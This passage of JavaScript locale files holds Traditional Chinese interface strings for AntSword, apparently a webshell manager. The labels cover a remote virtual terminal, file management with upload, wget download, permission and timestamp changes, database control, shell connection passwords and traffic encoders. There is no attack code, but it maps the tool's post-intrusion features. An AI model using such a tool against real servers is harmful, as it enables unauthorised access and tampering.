off: "已關閉Powershell模式",
},
},
},
filemanager: {
title: '文件管理',
delete: {
title: '刪除文件',
confirm: (num) => antSword.noxss(`你確定要刪除 ${typeof(num) === 'number' ? num + ' 個文件' : num} 嗎?`),
success: (path) => antSword.noxss(`刪除文件成功!\n${path}`),
error: (path, err) => antSword.noxss(`刪除文件 [${path}] 失敗!${err ? '\n' + err : ''}`)
},
paste: {
success: (path) => antSword.noxss(`粘貼文件成功!\n${path}`),
error: (path, err) => antSword.noxss(`粘貼文件 [${path}] 失敗!${err ? '\n' + err : ''}`)
},
rename: {
title: '重命名',
success: '重命名文件成功!',
error: (err) => antSword.noxss(`重命名文件失敗!${err ? '\n' + err : ''}`)
},
createFolder: {
title: '新建目錄',
value: '新目錄',
success: (path) => antSword.noxss(`新建目錄成功!\n${path}`),
error: (path, err) => antSword.noxss(`新建目錄 [${path}] 失敗!${err ? '\n' + err : ''}`)
},
createFile: {
title: '新建文件',
value: '新文件.txt',
success: (path) => antSword.noxss(`新建文件成功!\n${path}`),
error: (path, err) => antSword.noxss(`新建文件 [${path}] 失敗!${err ? '\n' + err : ''}`)
},
retime: {
title: '更改時間',
success: (path) => antSword.noxss(`更改文件時間成功!\n${path}`),
error: (path, err) => antSword.noxss(`更改文件時間 [${path}] 失敗!${err ? '\n' + err : ''}`)
},
chmod: {
title: '更改權限',
check: "輸入應為八進制數表示的權限, eg: 0644",
success: (path) => antSword.noxss(`更改文件權限成功!\n${path}`),
error: (path, err) => antSword.noxss(`更改文件權限 [${path}] 失敗!${err ? '\n' + err : ''}`)
},
wget: {
title: 'Wget下載文件',
check: 'URL地址不正確!',
task: {
name: 'WGET下載',
start: '開始下載..',
success: '下載成功!',
failed: (ret) => antSword.noxss(`失敗:${ret}`),
error: (err) => antSword.noxss(`錯誤:${err}`)
}
},
upload: {
task: {
name: '上傳',
success: '上傳成功',
httperr_413: '請將上傳文件分片大小設置調低',
httperr_etime: '請求超時,請將超時時間調大',
httperr_econnrefused: '連接被拒絕,檢查目標或代理是否開啟',
failed: (err) => antSword.noxss(`失敗:${err}`),
error: (err) => antSword.noxss(`出錯:${err}`)
},
success: (path) => antSword.noxss(`上傳文件成功!\n${path}`),
error: (path, err) => antSword.noxss(`上傳文件 [${path}] 失敗!${err}`),
},
folder: {
title: '目錄列表'
},
files: {
title: '文件列表',
bookmark: {
add: '添加書籤',
del: '移除書籤',
clear: '清空書籤'
},
toolbar: {
new: '新建',
folder: '目錄',
file: '文件',
wget: 'Wget下載',
upload: '上傳文件',
up: '上層',
refresh: '刷新',
home: '主目錄',
bookmark: '書籤',
read: '讀取'
},
prompt: {
add: {
title: '添加到書籤',
success: (path) => antSword.noxss(`添加書籤成功!\n${path}`),
},
remove: {
title: '移除書籤',
confirm: '確定移除此書籤嗎?',
success: '移除書籤成功!'
},
clear: {
title: '清空書籤',
confirm: '確定清空所有書籤嗎?',
success: '清空所有書籤成功!'
}
},
grid: {
header: {
name: '名稱',
time: '日期',
size: '大小',
attr: '屬性'
},
contextmenu: {
paste: {
title: '粘貼文件',
all: '所有列表',
clear: {
title: '清空列表',
info: '清空剪貼板'
}
},
preview: '預覽文件',
edit: {
title: '編輯文件',
openwindow: '窗口打開',
opentab: '標籤打開',
},
delete: '刪除文件',
rename: '重命名文件',
refresh: '刷新目錄',
wget: 'WGET下載',
upload: '上傳文件',
download: '下載文件',
modify: '更改文件時間',
chmod: '更改權限',
copy: {
title: '複製文件',
copyname: '複製文件名',
copypath: '複製文件路徑',
copysuccess: '複製到剪貼板成功!',
copyfail: '複製到剪貼板失敗!',
warning: (id) => antSword.noxss(`已經添加到剪貼板!\n${id}`),
info: (id) => antSword.noxss(`添加文件到剪貼板\n${id}`)
},
create: {
title: '新建',
folder: '目錄',
file: '文件'
},
terminal: '在此處打開終端'
}
}
},
editor: {
title: (path) => antSword.noxss(`編輯: ${path}`),
toolbar: {
save: '保存',
mode: '高亮',
encode: '用此編碼打開'
},
loadErr: (err) => antSword.noxss(`加載文件出錯!\n${err}`),
success: (path) => antSword.noxss(`保存文件成功!\n${path}`),
error: (path, err) => antSword.noxss(`保存文件 [${path}] 失敗!${err}`)
},
tasks: {
title: '任務列表',
grid: {
header: {
name: '名稱',
desc: '簡介',
status: '狀態',
stime: '創建時間',
etime: '完成時間'
}
}
},
download: {
title: '下載文件',
task: {
name: '下載',
wait: '準備下載',
cancel: '取消下載',
start: '開始下載',
success: '下載成功',
error: (err) => antSword.noxss(`出錯:${err}`)
},
error: (name, err) => antSword.noxss(`下載文件[${name}]出錯!\n${err}`),
success: (name) => antSword.noxss(`下載文件[${name}]成功!`)
}
},
database: {
list: {
title: '配置列表',
add: '添加',
del: '刪除',
edit: '編輯',
check: '檢測',
menu: {
add: '添加配置',
del: '刪除配置',
edit: '編輯配置',
adddb: '新建數據庫',
editdb: '編輯數據庫',
deldb: '刪除數據庫',
addtable: '新建表',
edittable: '編輯表名',
deltable: '刪除表',
showcreatetable: '建表語句',
desctable: '查看錶結構',
addcolumn: '添加列',
editcolumn: '編輯列名',
delcolumn: '刪除列',
}
},
query: {
title: '執行SQL',
exec: '執行',
clear: '清空'
},
result: {
title: '執行結果',
warning: '操作完畢,但沒有結果返回!',
error: {
database: (err) => antSword.noxss(`獲取數據庫列表失敗!\n${err}`),
table: (err) => antSword.noxss(`獲取表數據失敗!\n${err}`),
column: (err) => antSword.noxss(`獲取字段列表失敗!\n${err}`),
query: (err) => antSword.noxss(`執行SQL失敗!\n${err}`),
parse: '返回數據格式不正確!',
noresult: '沒有查詢結果!'
},
dump: {
title: "導出查詢結果",
success: "導出成功",
}
},
notsupport: '該功能暫不支持當前類型數據庫',
form: {
title: '添加配置',
toolbar: {
add: '添加',
clear: '清空',
edit: '編輯',
test: '測試連接'
},
conn: '連接字符串',
type: '數據庫類型',
encode: '數據庫編碼',
host: '數據庫地址',
user: '連接用户',
passwd: '連接密碼',
warning: '請填寫完整!',
success: '成功添加配置!',
test_success: '連接成功!',
test_warning: '返回數據為空',
del: {
title: '刪除配置',
confirm: '確定刪除此配置嗎?',
success: '刪除配置成功!',
error: (err) => antSword.noxss(`刪除配置失敗!\n${err}`)
},
adddb: {
title: '新建數據庫',
dbname: '名稱',
characterset: '字符集',
charactercollation: '字符集排序',
createbtn: '創建',
cancelbtn: '取消',
success: '創建數據庫成功',
error: '創建數據庫失敗',
},
editdb: {
title: '修改數據庫',
dbname: '名稱(只讀)',
characterset: '字符集',
charactercollation: '字符集排序',
updatebtn: '修改',
cancelbtn: '取消',
success: '修改數據庫成功',
error: '修改數據庫失敗',
},
deldb: {
title: '刪除數據庫',
confirm: (name) => antSword.noxss(`確定要刪除數據庫 ${name} 嗎?`),
success: '刪除數據庫成功',
error: '刪除數據庫失敗',
},
addtable: {
title: '新建表',
add: '新增字段',
delete: '刪除字段',
save: '保存',
gridheader: "名稱,類型,長度,不為空,主鍵,自增長",
delete_not_select: "請先選中要刪除的行",
save_row_is_null: "行數為空",
cell_valid_error: (i,j)=>`數據格式校驗失敗(${i+1}行,${j+1}列)`,
confirmtitle: "輸入新表名",
invalid_tablename: "表名不能帶有特殊符號",
success: '新建表成功',
error: '新建表失敗',
},
edittable: {
title: "輸入新表名",
invalid_tablename: "表名不能帶有特殊符號",
success: '修改表名成功',
error: '修改表名失敗',
},
deltable: {
title:'刪除表',
confirm: (name) => antSword.noxss(`確定要刪除表 ${name} 嗎?`),
success: '刪除表成功',
error: '刪除表失敗',
},
addcolumn: {
},
editcolumn: {
title: "輸入新列名",
invalid_tablename: "列名不能帶有特殊符號",
get_column_type_error: "獲取列屬性失敗",
success: '修改列名成功',
error: '修改列名失敗'
},
delcolumn: {
title:'刪除列',
confirm: (name) => antSword.noxss(`確定要刪除列 ${name} 嗎?`),
success: '刪除列成功',
error: '刪除列失敗',
}
},
probedb: {
title: '檢測數據庫函數支持',
success: '檢測完畢',
coltype: '連接類型',
issupport: '狀態',
}
},
settings: {
about: {
title: '關於程序',
header: '中國蟻劍',
homepage: '主頁',
document: '文檔',
qqgroup: 'Q羣',
discord: '在線交流',
wechat: '關注微信公眾號'
},
language: {
title: '語言設置',
toolbar: {
save: '保存'
},
form: {
label: '選擇顯示語言'
},
success: '保存語言設置成功!',
confirm: {
content: '重啟應用生效,是否重啟?',
title: '更改語言'
}
},
update: {
title: '檢查更新',
current: '當前版本',
toolbar: {
check: '檢查'
},
check: {
ing: '檢查更新中。。',
fail: (err) => `檢查更新失敗!\n${err}`,
none: (ver) => `檢查完畢,暫無更新!【v${ver}】`,
found: (ver) => `發現新版本【v${ver}】`
},
prompt: {
btns: {
ok: '立即更新',
no: '下次再説'
},
body: (ver) => `發現新版本 v${ver}, 是否更新?`,
title: '版本更新',
changelog: '更新日誌:',
sources: '更新來源:',
fail: {
md5: '文件MD5值校驗失敗!',
unzip: (err) => `解壓文件失敗!【${err}】`
}
},
message: {
githint: (workdir)=>`當前源碼為Git管理,請關閉程序並前往 ${workdir} 手動更新`,
prepare: "連接更新服務器...",
dling: (progress)=> `正在下載更新包...${progress}%`,
dlingnp: (size)=> `正在下載更新包...${size}`,
dlend: "下載完畢",
extract: "正在解壓, 請勿關閉程序",
ing: '努力更新中。。',
fail: (err) => `更新失敗!【${err}】`,
success: '更新成功!請稍後手動重啟應用!'
}
},
encoders:{
title: '編碼管理',
toolbar: {
new: "新建",
edit: "編輯",
delete: "刪除",
help: "幫助",
save: "保存",
},
grid: {
ename: "名稱",
etype: "類型"
},
edit_win_title: "編輯編碼器",
delete_title: "刪除編碼器",
message: {
ename_duplicate: "編碼器名稱不能重複",
rename_success: "重命名成功",
etype_error: "編碼器類型錯誤",
retype_success: "類型修改成功",
create_success: "新增編碼器成功",
edit_not_select: "請先選中要編輯的行",
edit_only_single: "只能編輯一個",
edit_null_value: "編碼器內容不能為空",
edit_save_success: "保存成功",
delete_not_select: "請先選中要刪除的行",
delete_success: "刪除成功",
ename_invalid: "名稱只能包含數字、字母、下劃線",
},
prompt: {
create_encoder: "創建編碼器",
},
confirm: {
delete: (num) => antSword.noxss(`你確定要刪除 ${typeof(num) === 'number' ? num + ' 個編碼器' : num+" "}嗎?`),
}
},
aproxy: {
title: '代理設置',
toolbar: {
save: '保存',
test: '測試連接'
},
form: {
label: '配置訪問互聯網的代理',
mode:{
noproxy: '不使用代理',
manualproxy: '手動設置代理'
},
proxy: {
protocol: '代理協議',
server: '代理服務器',
port: '端口',
username: '用户名',
password: '密碼',
authtip: '如果無認證方式請留空'
}
},
success: '保存代理設置成功!',
error: '保存代理設置失敗!',
confirm: {
content: '重啟應用生效,是否重啟?',
title: '更改代理設置'
},
prompt:{
title: '輸入測試的 URL',
success: '連接到代理服務器成功',
error: '連接到代理服務器失敗'
}
},
display: {
title: '顯示設置',
success: '保存顯示設置成功!',
error: '保存顯示設置失敗!',
confirm: {
content: '重啟應用生效,是否重啟?',
title: '更改顯示設置'
},
toolbar: {
save: '保存'
},
form:{
shellmanager: {
title: '數據管理',
hiddencolumns: {
title: '隱藏選中列',
url: 'URL地址',
ip: 'IP地址',
addr: '物理位置',
note: '網站備註',
ctime: '創建時間',
utime: '更新時間'
}
}
}
},
adefault: {
title: '默認設置',
success: '保存成功',
error: '保存失敗!',
confirm: {
content: '重啟應用生效,是否重啟?',
title: '更改默認設置'
},
toolbar: {
save: '保存',
},
filemanager: {
title: '文件管理',
openfileintab: {
title: '文件打開方式',
window: '窗口打開',
tab: '標籤打開',
},
bookmark: {
title: '全局書籤',
nodata: '當前暫無數據, 請單擊鼠標右鍵添加',
grid: {
name: '名稱',
path: '目錄'
},
bmenu: {
add: '添加書籤',
del: '刪除書籤'
},
add: {
title: '添加全局書籤',
success: '添加成功',
namedup: '名稱不能重複',
name_invalid: '名稱不合法',
addbtn: '確定'
},
del: {
title: '刪除書籤',
confirm: (num) => antSword.noxss(`你確定要刪除 ${typeof(num) === 'number' ? num + ' 個書籤' : num+" "}嗎?`),
success: '刪除成功'
},
edit: {
namedup: '名稱不能重複',
name_invalid: '名稱不合法',
success: '更新成功'
}
},
}
}
},
plugin: {
error: (err) => antSword.noxss(`加載插件中心失敗!\n${err}`)
},
update: {
title: '發現更新',
body: (ver) => `新的版本:${ver}, 查看更新日誌`,
},
viewsite: {
toolbar: {
useproxy: (s) => `代理: ${s?'開':'關'}`,
save: '保存',
view: '瀏覽'
},
saveSuccess: '保存Cookie成功!',
saveFailed: (err) => `保存Cookie失敗!\n${err}`
}
}
//
// language::zh_tw
//
module.exports = {
title: '中國蟻劍',
toastr: {
info: '提示',
error: '錯誤',
warning: '警告',
success: '成功'
},
menubar: {
main: {
title: 'AntSword',
about: '關於程序',
pluginStore: '插件市場',
settings: '系統設置',
language: '語言設置',
encoders: '編碼設置',
aproxy: '代理設置',
display: '顯示設置',
update: '檢查更新',
quit: '退出程序'
},
edit: {
title: '編輯',
undo: '撤銷',
redo: '重做',
cut: '剪切',
copy: '複製',
paste: '粘貼',
selectall: '全選',
search: '查找數據'
},
window: {
title: '窗口',
next: '下個窗口',
prev: '上個窗口',
close: '關閉窗口'
},
debug: {
title: '調試',
restart: '重啟應用',
devtools: '開發者工具'
},
tray: {
tip: '中國蟻劍',
show: '顯示',
hide: '隱藏',
settings: '系統設置',
about: '關於蟻劍',
quit: '退出'
}
},
shellmanager: {
title: '列表管理',
contextmenu: {
terminal: '虛擬終端',
filemanager: '文件管理',
database: '數據操作',
add: '添加數據',
edit: '編輯數據',
delete: '刪除數據',
move: '移動數據',
copy: '創建副本',
search: '搜索數據',
plugin: '加載插件',
pluginDefault: '默認分類',
pluginStore: '插件市場',
clearCache: '清空緩存',
clearAllCache: '清空所有緩存',
viewsite: '瀏覽網站'
},
category: {
title: '分類目錄',
default: '默認分類',
toolbar: {
add: '添加',
del: '刪除',
rename: '重命名'
},
add: {
title: '添加分類'
},
del: {
title: '刪除分類',
confirm: '確定刪除此分類嗎?(數據將清空)',
success: (category) => antSword.noxss(`成功刪除分類(${category})!`),
error: (category, err) => antSword.noxss(`刪除分類(${category})失敗!\n${err}`)
},
rename: {
title: '重命名分類',
disable: '禁止的分類名稱!',
exists: '此分類名已經存在!',
success: '重命名分類成功!',
error: '重命名分類失敗!'
}
},
list: {
title: '數據管理',
not_recommended: '不推薦',
grid: {
url: 'URL地址',
ip: 'IP地址',
addr: '物理位置',
note: '網站備註',
ctime: '創建時間',
utime: '更新時間'
},
add: {
title: '添加數據',
toolbar: {
test: '測試連接',
add: '添加',
clear: '清空'
},
form: {
url: 'URL地址',
pwd: '連接密碼',
note: '網站備註',
encode: '編碼設置',
type: '連接類型',
encoder: '編碼器'
},
test_success: '連接成功!',
test_warning: '返回數據為空',
warning: '請輸入完整!',
success: '添加數據成功!',
error: (err) => antSword.noxss(`添加數據失敗!\n${err}`)
},
edit: {
title: (url) => antSword.noxss(`編輯數據(${url})`),
toolbar: {
save: '保存',
clear: '清空'
},
form: {
url: 'URL地址',
pwd: '連接密碼',
note: '網站備註',
encode: '編碼設置',
type: '連接類型',
encoder: '編碼器'
},
warning: '請輸入完整!',
success: '更新數據成功!',
error: (err) => antSword.noxss(`更新數據失敗!\n${err}`)
},
del: {
title: '刪除數據',
confirm: (len) => antSword.noxss(`確定刪除選中的${len}條數據嗎?`),
success: (len) => antSword.noxss(`成功刪除${len}條數據!`),
error: (err) => antSword.noxss(`刪除失敗!\n${err}`)
},
move: {
success: (num) => antSword.noxss(`成功移動${num}條數據!`),
error: (err) => antSword.noxss(`移動數據失敗!\n${err}`)
},
clearCache: {
title: '清空緩存',
confirm: '確定清空此緩存嗎?',
success: '清空緩存完畢!',
error: (err) => antSword.noxss(`清空緩存失敗!\n${err}`)
},
clearAllCache: {
title: '清空緩存',
confirm: '確定清空所有緩存數據嗎?',
success: '清空全部緩存完畢!',
error: (err) => antSword.noxss(`清空全部緩存失敗!\n${err}`)
},
accordion: {
base: '基礎配置',
http: '請求信息',
other: '其他設置'
},
otherConf: {
nohttps: '忽略HTTPS證書',
usemultipart: '使用 Multipart 發包',
chunk: {
title: '分塊傳輸(實驗性功能)',
usechunk: '開啟分塊傳輸發包',
min: '最小分塊',
max: '最大分塊',
exphint: '該功能目前為實驗性功能, 無法與 Multipart 同時使用,部分類型的服務端可能不支持Chunked傳輸。此外,建議超時時長設置30s以上,避免網速不好的情況下影響數據傳輸。',
},
terminalCache: '虛擬終端使用緩存',
filemanagerCache: '文件管理使用緩存',
uploadFragment: '上傳文件分片大小',
requestTimeout: '請求超時',
commandPath: '自定義終端執行路徑'
}
}
},
terminal: {
title: '虛擬終端',
banner: {
title: '基礎信息',
drive: '磁盤列表',
system: '系統信息',
user: '當前用戶',
path: '當前路徑'
},
ascmd: {
help: '輸入 ashelp 查看本地命令',
ashelp: `使用幫助:
ascmd [file]\t\t指定file來執行命令, eg: ascmd /bin/bash
aslistcmd\t\t列出可使用的命令解釋器
aspowershell [on|off]\t\t啟用/關閉PowerShell模式, eg: aspowershell on
quit\t\t關閉終端
exit\t\t關閉終端
快捷鍵:
Ctrl =\t\t放大字體
Ctrl -\t\t縮小字體
Ctrl L\t\t清屏
Ctrl U\t\t清除當前行
Ctrl A\t\t光標到行首
Ctrl E\t\t光標到行尾
Ctrl F/B\t\t前進後退(相當於左右方向鍵)
Ctrl P\t\t上一條命令
Ctrl R\t\t搜索命令歷史
Ctrl D\t\t刪除當前光標的字符
Ctrl H\t\t刪除光標之前的字符
Ctrl W\t\t刪除光標之前的單詞
Ctrl K\t\t刪除到文本末尾
Ctrl T\t\t交換光標處文本
`,
ascmd: (cmd) => antSword.noxss(`將使用 ${cmd} 執行命令.`),
aspowershell: {
on: "已啟用Powershell模式",
off: "已關閉Powershell模式",
},
},
},
filemanager: {
title: '文件管理',
delete: {
title: '刪除文件',
confirm: (num) => antSword.noxss(`你確定要刪除 ${typeof(num) === 'number' ? num + ' 個文件' : num} 嗎?`),
success: (path) => antSword.noxss(`刪除文件成功!\n${path}`),
error: (path, err) => antSword.noxss(`刪除文件 [${path}] 失敗!${err ? '\n' + err : ''}`)
},
paste: {
success: (path) => antSword.noxss(`粘貼文件成功!\n${path}`),
error: (path, err) => antSword.noxss(`粘貼文件 [${path}] 失敗!${err ? '\n' + err : ''}`)
},
rename: {
title: '重命名',
success: '重命名文件成功!',
error: (err) => antSword.noxss(`重命名文件失敗!${err ? '\n' + err : ''}`)
},
createFolder: {
title: '新建目錄',
value: '新目錄',
success: (path) => antSword.noxss(`新建目錄成功!\n${path}`),
error: (path, err) => antSword.noxss(`新建目錄 [${path}] 失敗!${err ? '\n' + err : ''}`)
},
createFile: {
title: '新建文件',
value: '新文件.txt',
success: (path) => antSword.noxss(`新建文件成功!\n${path}`),
error: (path, err) => antSword.noxss(`新建文件 [${path}] 失敗!${err ? '\n' + err : ''}`)
},
retime: {
title: '更改時間',
success: (path) => antSword.noxss(`更改文件時間成功!\n${path}`),
error: (path, err) => antSword.noxss(`更改文件時間 [${path}] 失敗!${err ? '\n' + err : ''}`)
},
chmod: {
title: '更改權限',
check: "輸入應為八進制數表示的權限, eg: 0644",
success: (path) => antSword.noxss(`更改文件權限成功!\n${path}`),
error: (path, err) => antSword.noxss(`更改文件權限 [${path}] 失敗!${err ? '\n' + err : ''}`)
},
wget: {
title: 'Wget下載文件',
check: 'URL地址不正確!',
task: {
name: 'WGET下載',
start: '開始下載..',
success: '下載成功!',
failed: (ret) => antSword.noxss(`失敗:${ret}`),
error: (err) => antSword.noxss(`錯誤:${err}`)
}
},
upload: {
task: {
name: '上傳',
success: '上傳成功',
httperr_413: '請將上傳文件分片大小設置調低',
httperr_etime: '請求超時,請將超時時間調大',
httperr_econnrefused: '連接被拒絕,檢查目標或代理是否開啟',
failed: (err) => antSword.noxss(`失敗:${err}`),
error: (err) => antSword.noxss(`出錯:${err}`)
},
success: (path) => antSword.noxss(`上傳文件成功!\n${path}`),
error: (path, err) => antSword.noxss(`上傳文件 [${path}] 失敗!${err}`),
},
folder: {
title: '目錄列表'
},
files: {
title: '文件列表',
bookmark: {
add: '添加書籤',
del: '移除書籤',
clear: '清空書籤'
},
toolbar: {
new: '新建',
folder: '目錄',
file: '文件',
wget: 'Wget下載',
upload: '上傳文件',
up: '上層',
refresh: '刷新',
home: '主目錄',
bookmark: '書籤',
read: '讀取'
},
prompt: {
add: {
title: '添加到書籤',
success: (path) => antSword.noxss(`添加書籤成功!\n${path}`),
},
remove: {
title: '移除書籤',
confirm: '確定移除此書籤嗎?',
success: '移除書籤成功!'
},
clear: {
title: '清空書籤',
confirm: '確定清空所有書籤嗎?',
success: '清空所有書籤成功!'
}
},
grid: {
header: {
name: '名稱',
time: '日期',
size: '大小',
attr: '屬性'
},
contextmenu: {
paste: {
title: '粘貼文件',
all: '所有列表',
clear: {
title: '清空列表',
info: '清空剪貼板'
}
},
preview: '預覽文件',
edit: {
title: '編輯文件',
openwindow: '窗口打開',
opentab: '標籤打開',
},
delete: '刪除文件',
rename: '重命名文件',
refresh: '刷新目錄',
wget: 'WGET下載',
upload: '上傳文件',
download: '下載文件',
modify: '更改文件時間',
chmod: '更改權限',
copy: {
title: '複製文件',
copyname: '複製文件名',
copypath: '複製文件路徑',
copysuccess: '複製到剪貼板成功!',
copyfail: '複製到剪貼板失敗!',
warning: (id) => antSword.noxss(`已經添加到剪貼板!\n${id}`),
info: (id) => antSword.noxss(`添加文件到剪貼板\n${id}`)
},
create: {
title: '新建',
folder: '目錄',
file: '文件'
},
terminal: '在此處打開終端'
}
}
},
editor: {
title: (path) => antSword.noxss(`編輯: ${path}`),
toolbar: {
save: '保存',
mode: '高亮',
encode: '用此編碼打開'
},
loadErr: (err) => antSword.noxss(`加載文件出錯!\n${err}`),
success: (path) => antSword.noxss(`保存文件成功!\n${path}`),
error: (path, err) => antSword.noxss(`保存文件 [${path}] 失敗!${err}`)
},
tasks: {
title: '任務列表',
grid: {
header: {
name: '名稱',
desc: '簡介',
status: '狀態',
stime: '創建時間',
etime: '完成時間'
}
}
},
download: {
title: '下載文件',
task: {
name: '下載',
wait: '準備下載',
cancel: '取消下載',
start: '開始下載',
success: '下載成功',
error: (err) => antSword.noxss(`出錯:${err}`)
},
error: (name, err) => antSword.noxss(`下載文件[${name}]出錯!\n${err}`),
success: (name) => antSword.noxss(`下載文件[${name}]成功!`)
}
},
database: {
list: {
title: '配置列表',
add: '添加',
del: '刪除',
edit: '編輯',
check: '檢測',
menu: {
add: '添加配置',
del: '刪除配置',
edit: '編輯配置',
adddb: '新建數據庫',
editdb: '編輯數據庫',
deldb: '刪除數據庫',
addtable: '新建表',
edittable: '編輯表名',
deltable: '刪除表',
showcreatetable: '建表語句',
desctable: '查看錶結構',
addcolumn: '添加列',
editcolumn: '編輯列名',
delcolumn: '刪除列',
}
},
query: {
title: '執行SQL',
exec: '執行',
clear: '清空'
},
result: {
title: '執行結果',
warning: '操作完畢,但沒有結果返回!',
error: {
database: (err) => antSword.noxss(`獲取數據庫列表失敗!\n${err}`),
table: (err) => antSword.noxss(`獲取表數據失敗!\n${err}`),
column: (err) => antSword.noxss(`獲取字段列表失敗!\n${err}`),
query: (err) => antSword.noxss(`執行SQL失敗!\n${err}`),
parse: '返回數據格式不正確!',
noresult: '沒有查詢結果!'
},
dump: {
title: "導出查詢結果",
success: "導出成功",
}
},
notsupport: '該功能暫不支持當前類型數據庫',
form: {
title: '添加配置',
toolbar: {
add: '添加',
clear: '清空',
edit: '編輯',
test: '測試連接'
},
conn: '連接字符串',
type: '數據庫類型',
encode: '數據庫編碼',
host: '數據庫地址',
user: '連接用戶',
passwd: '連接密碼',
warning: '請填寫完整!',
success: '成功添加配置!',
test_success: '連接成功!',
test_warning: '返回數據為空',
del: {
title: '刪除配置',
confirm: '確定刪除此配置嗎?',
success: '刪除配置成功!',
error: (err) => antSword.noxss(`刪除配置失敗!\n${err}`)
},
adddb: {
title: '新建數據庫',
dbname: '名稱',
characterset: '字符集',
charactercollation: '字符集排序',
createbtn: '創建',
cancelbtn: '取消',
success: '創建數據庫成功',
error: '創建數據庫失敗',
},
editdb: {
title: '修改數據庫',
dbname: '名稱(只讀)',
characterset: '字符集',
charactercollation: '字符集排序',
updatebtn: '修改',
cancelbtn: '取消',
success: '修改數據庫成功',
error: '修改數據庫失敗',
},
deldb: {
title: '刪除數據庫',
confirm: (name) => antSword.noxss(`確定要刪除數據庫 ${name} 嗎?`),
success: '刪除數據庫成功',
error: '刪除數據庫失敗',
},
addtable: {
title: '新建表',
add: '新增字段',
delete: '刪除字段',
save: '保存',
gridheader: "名稱,類型,長度,不為空,主鍵,自增長",
delete_not_select: "請先選中要刪除的行",
save_row_is_null: "行數為空",
cell_valid_error: (i,j)=>`數據格式校驗失敗(${i+1}行,${j+1}列)`,
confirmtitle: "輸入新表名",
invalid_tablename: "表名不能帶有特殊符號",
success: '新建表成功',
error: '新建表失敗',
},
edittable: {
title: "輸入新表名",
invalid_tablename: "表名不能帶有特殊符號",
success: '修改表名成功',
error: '修改表名失敗',
},
deltable: {
title:'刪除表',
confirm: (name) => antSword.noxss(`確定要刪除表 ${name} 嗎?`),
success: '刪除表成功',
error: '刪除表失敗',
},
addcolumn: {
},
editcolumn: {
title: "輸入新列名",
invalid_tablename: "列名不能帶有特殊符號",
get_column_type_error: "獲取列屬性失敗",
success: '修改列名成功',
error: '修改列名失敗'
},
delcolumn: {
title:'刪除列',
confirm: (name) => antSword.noxss(`確定要刪除列 ${name} 嗎?`),
success: '刪除列成功',
error: '刪除列失敗',
}
},
probedb: {
title: '檢測數據庫函數支持',
success: '檢測完畢',
coltype: '連接類型',
issupport: '狀態',
}
},
settings: {
about: {
title: '關於程序',
header: '中國蟻劍',
homepage: '主頁',
document: '文檔',
qqgroup: 'Q群',
discord: '在線交流',
wechat: '關注微信公眾號'
},
language: {
title: '語言設置',
toolbar: {
save: '保存'
},
form: {
label: '選擇顯示語言'
},
success: '保存語言設置成功!',
confirm: {
content: '重啟應用生效,是否重啟?',
title: '更改語言'
}
},
update: {
title: '檢查更新',
current: '當前版本',
toolbar: {
check: '檢查'
},
check: {
ing: '檢查更新中。。',
fail: (err) => `檢查更新失敗!\n${err}`,
none: (ver) => `檢查完畢,暫無更新!【v${ver}】`,
found: (ver) => `發現新版本【v${ver}】`
},
prompt: {
btns: {
ok: '立即更新',
no: '下次再說'
},
body: (ver) => `發現新版本 v${ver}, 是否更新?`,
title: '版本更新',
changelog: '更新日誌:',
sources: '更新來源:',
fail: {
md5: '文件MD5值校驗失敗!',
unzip: (err) => `解壓文件失敗!【${err}】`
}
},
message: {
githint: (workdir)=>`當前源碼為Git管理,請關閉程序並前往 ${workdir} 手動更新`,
prepare: "連接更新服務器...",
dling: (progress)=> `正在下載更新包...${progress}%`,
dlingnp: (size)=> `正在下載更新包...${size}`,
dlend: "下載完畢",
extract: "正在解壓, 請勿關閉程序",
ing: '努力更新中。。',
fail: (err) => `更新失敗!【${err}】`,
success: '更新成功!請稍後手動重啟應用!'
}
},
encoders:{
title: '編碼管理',
toolbar: {
new: "新建",
edit: "編輯",
delete: "刪除",
help: "幫助",
save: "保存",
},
grid: {
ename: "名稱",
etype: "類型"
},
edit_win_title: "編輯編碼器",
delete_title: "刪除編碼器",
message: {
ename_duplicate: "編碼器名稱不能重複",
rename_success: "重命名成功",
etype_error: "編碼器類型錯誤",
retype_success: "類型修改成功",
create_success: "新增編碼器成功",
edit_not_select: "請先選中要編輯的行",
edit_only_single: "只能編輯一個",
edit_null_value: "編碼器內容不能為空",
edit_save_success: "保存成功",
delete_not_select: "請先選中要刪除的行",
delete_success: "刪除成功",
ename_invalid: "名稱只能包含數字、字母、下劃線",
},
prompt: {
create_encoder: "創建編碼器",
},
confirm: {
delete: (num) => antSword.noxss(`你確定要刪除 ${typeof(num) === 'number' ? num + ' 個編碼器' : num+" "}嗎?`),
}
},
aproxy: {
title: '代理設置',
toolbar: {
save: '保存',
test: '測試連接'
},
form: {
label: '配置訪問互聯網的代理',
mode:{
noproxy: '不使用代理',
manualproxy: '手動設置代理'
},
proxy: {
protocol: '代理協議',
server: '代理服務器',
port: '端口',
username: '用戶名',
password: '密碼',
authtip: '如果無認證方式請留空'
}
},
success: '保存代理設置成功!',
error: '保存代理設置失敗!',
confirm: {
content: '重啟應用生效,是否重啟?',
title: '更改代理設置'
},
prompt:{
title: '輸入測試的 URL',
success: '連接到代理服務器成功',
error: '連接到代理服務器失敗'
}
},
display: {
title: '顯示設置',
success: '保存顯示設置成功!',
error: '保存顯示設置失敗!',
confirm: {
content: '重啟應用生效,是否重啟?',
title: '更改顯示設置'
},
toolbar: {
save: '保存'
},
form:{
shellmanager: {
title: '數據管理',
hiddencolumns: {
title: '隱藏選中列',
url: 'URL地址',
ip: 'IP地址',
addr: '物理位置',
note: '網站備註',
ctime: '創建時間',
utime: '更新時間'
}
}
}
},
adefault: {
title: '默認設置',
success: '保存成功',
error: '保存失敗!',
confirm: {
content: '重啟應用生效,是否重啟?',
title: '更改默認設置'
},
toolbar: {
save: '保存',
},
filemanager: {
title: '文件管理',
openfileintab: {
title: '文件打開方式',
window: '窗口打開',
tab: '標籤打開',
},
bookmark: {
title: '全局書籤',
nodata: '當前暫無數據, 請單擊鼠標右鍵添加',
grid: {
name: '名稱',
path: '目錄'
},
bmenu: {
add: '添加書籤',
del: '刪除書籤'
},
add: {
title: '添加全局書籤',
success: '添加成功',
namedup: '名稱不能重複',
name_invalid: '名稱不合法',
addbtn: '確定'
},
del: {
title: '刪除書籤',
confirm: (num) => antSword.noxss(`你確定要刪除 ${typeof(num) === 'number' ? num + ' 個書籤' : num+" "}嗎?`),
success: '刪除成功'
},
edit: {
namedup: '名稱不能重複',
name_invalid: '名稱不合法',
success: '更新成功'
}
},
}
}
},
plugin: {
